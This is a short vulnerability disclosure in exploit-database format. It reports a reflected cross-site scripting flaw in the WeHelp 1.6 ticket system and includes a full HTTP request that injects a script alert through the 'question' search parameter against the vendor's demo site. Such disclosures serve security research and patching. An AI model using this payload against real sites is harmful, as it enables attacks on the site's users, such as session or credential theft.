WeHelp 1.6 Cross Site Scripting

`# Exploit Title: WeHelp 1.6 - 'home/search question' Cross-site Scripting  
# Google Dork: N/A  
# Date: 14 Feb 2019  
# Exploit Author: Deyaa Muhammad  
# Author EMail: contact [at] deyaa.me  
# Author Blog: http://deyaa.me  
# Vendor Homepage: https://www.elmanawy.info/  
# Software Link: https://codecanyon.net/item/wehelp-ticket-support-system/22686943  
# Demo Link: https://www.elmanawy.info/demo/wehelp/home  
# Version: 1.6  
# Tested on: WIN7_x68/Linux  
# CVE : N/A  
  
# Description:  
----------------------  
WeHelp 1.6 suffers from a Cross-site Scripting vulnerability.  
  
# POC:  
----------------------  
1. Access the following path http://[PATH]/home/search  
2. Manipulate the parameter "question" with your own XSS payload.  
  
# Request:  
----------------------  
GET /demo/wehelp/home/search?question=<script>alert('XSS')</script> HTTP/1.1  
Host: www.elmanawy.info  
Connection: close  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
X-XSS-Protection: 0  
  
  
`